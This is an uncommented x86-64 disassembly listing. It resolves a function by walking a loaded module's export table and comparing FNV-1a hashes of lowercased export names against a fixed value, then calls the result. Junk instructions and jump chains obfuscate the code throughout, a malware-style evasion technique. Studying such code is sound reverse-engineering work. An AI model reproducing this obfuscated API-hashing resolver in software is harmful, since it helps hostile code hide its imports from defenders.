cmp sp, 0xdba7
mov qword [rsp + 0x350], rax
xor al, 0x81
or al, r13b
movsxd rax, r9d
mov eax, dword [rsp + 0x350]
mov rcx, qword [rsp + 0x160]
stc
cmc
lea rcx, [rcx + rax]
movzx rax, si
mov rax, rcx
test r13, rbx
mov qword [rsp + 0x208], rax
mov eax, dword [rsp + 0x354]
jmp 0x14066b248
mov dword [rsp + 0x210], eax
adc eax, r13d
bt eax, eax
mov rax, qword [rsp + 0x200]
jmp 0x14066b269
cmp qword [rsp + 0x208], rax
jmp 0x14066b276
je 0x14066b291
mov dword [rsp + 0x10c], 1
jmp 0x14066b28c
jmp 0x14066b29c
mov dword [rsp + 0x10c], 0
mov al, byte [rsp + 0x10c]
mov byte [rsp + 0x85], al
neg ax
rol ah, cl
movzx eax, byte [rsp + 0x85]
cmc
clc
cmp r12w, 0xbea2
test eax, eax
je 0x14066b584
mov rax, qword [rsp + 0x208]
jmp 0x14066b2d4
mov eax, dword [rax + 0x18]
jmp 0x14066b2dc
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0xa0]
jmp 0x14066b2ef
mov dword [rsp + 0x240], eax
movzx eax, r9w
mov eax, dword [rsp + 0xa0]
dec eax
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0x240], 0
jmp 0x14066b317
je 0x14066b584
mov rax, qword [rsp + 0x208]
mov eax, dword [rax + 0x20]
shr ch, cl
mov rcx, qword [rsp + 0x200]
clc
lea rcx, [rcx + rax]
xor ah, dh
shl al, 0x35
mov rax, rcx
and ch, 0x87
inc cx
mov ecx, dword [rsp + 0xa0]
cmc
cmp r10w, si
cmp dx, 0x52a1
mov eax, dword [rax + rcx*4]
cmp bx, 0x34a1
jmp 0x14066b366
add rax, qword [rsp + 0x200]
mov qword [rsp + 0x660], rax
not ax
movsx ax, r15b
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0x2f0], rax
cmovnp eax, edx
dec ax
movsx rax, r13w
mov dword [rsp + 0xc8], 0x811c9dc5
movzx rax, dx
mov rax, qword [rsp + 0x2f0]
jmp 0x14066b3b4
mov al, byte [rax]
mov byte [rsp + 0x86], al
cbw
mov rax, qword [rsp + 0x2f0]
jmp 0x14066b3cc
inc rax
cmp rcx, r10
jmp 0x14066b3d8
mov qword [rsp + 0x2f0], rax
mov al, byte [rsp + 0x86]
cmp rbp, rbx
mov byte [rsp + 0x67], al
movsx eax, byte [rsp + 0x67]
cmp r10b, bl
test eax, eax
jmp 0x14066b3fd
jne 0x14066b41b
mov eax, dword [rsp + 0xc8]
jmp 0x14066b40f
mov dword [rsp + 0x244], eax
jmp 0x14066b4b8
movsx eax, byte [rsp + 0x67]
jmp 0x14066b426
cmp eax, 0x41
jl 0x14066b464
movsx eax, byte [rsp + 0x67]
cmp eax, 0x5a
jmp 0x14066b43c
jg 0x14066b464
movsx eax, byte [rsp + 0x67]
jmp 0x14066b450
or eax, 0x20
mov dword [rsp + 0x110], eax
jmp 0x14066b45f
jmp 0x14066b474
movsx eax, byte [rsp + 0x67]
test ebp, ebp
sub cl, al
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x110]
bts ecx, esp
movsx ecx, di
btr cx, r15w
mov ecx, dword [rsp + 0xc8]
jmp 0x14066b495
xor ecx, eax
mov eax, ecx
stc
clc
cmp sil, r12b
mov eax, eax
imul rax, rax, 0x1000193
jmp 0x14066b4ac
mov dword [rsp + 0xc8], eax
jmp 0x14066b3a7
cmp dword [rsp + 0x244], 0x547ab68
jmp 0x14066b4c8
jne 0x14066b57f
mov rax, qword [rsp + 0x208]
mov eax, dword [rax + 0x1c]
sbb cx, r13w
bt cx, 0x9f
add rax, qword [rsp + 0x200]
rcr cx, cl
mov qword [rsp + 0x670], rax
mov rax, qword [rsp + 0x208]
xor cl, r12b
mov eax, dword [rax + 0x24]
xor rcx, 0x430f0b36
add rax, qword [rsp + 0x200]
mov ch, 0xb5
shl ch, 0x8b
mov qword [rsp + 0x668], rax
mov eax, dword [rsp + 0xa0]
inc cl
mov rcx, qword [rsp + 0x668]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x670]
clc
cmp ax, 0x9502
mov eax, dword [rcx + rax*4]
cmp bx, r10w
add rax, qword [rsp + 0x200]
jmp 0x14066b556
mov qword [rsp + 0x678], rax
movsx rax, di
movsxd rax, r11d
mov rax, qword [rsp + 0x678]
mov qword [rsp + 0x300], rax
jmp 0x14066b57a
jmp 0x14066b60c
jmp 0x14066b2e3
mov rax, qword [rsp + 0x2f8]
clc
mov qword [rsp + 0x680], rax
rcr al, 0x80
mov rax, qword [rsp + 0x680]
cmp rcx, 0xffffffffac0ddbb9
cmc
mov rax, qword [rax]
clc
test ah, ch
jmp 0x14066b5b3
mov qword [rsp + 0x688], rax
shl al, 0x23
mov rax, qword [rsp + 0x688]
test bp, 0x6722
test r9, rdi
mov qword [rsp + 0x2f8], rax
shr al, 0xe
cmc
mov byte [rsp + 0x87], 1
mov ah, dh
ror al, 0xb3
btc rax, rdx
movzx eax, byte [rsp + 0x87]
test eax, eax
jmp 0x14066b5fa
jne 0x14066b14a
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0xd0]
xchg ecx, ecx
movzx ecx, r15w
movzx rcx, ax
mov qword [rsp + 0x690], rax
bswap ecx
mov rax, qword [rsp + 0x690]
mov rax, qword [rax]
not ecx
mov qword [rsp + 0x698], rax
movsx ecx, bx
bswap rcx
xchg cx, cx
mov rcx, qword [rsp + 0x698]
jmp 0x14066b653
call qword [rsp + 0x300]
mov eax, 1
add rsp, 0x790
not edi
jmp 0x14066b670
pop rdi
jmp 0x14066b676
ret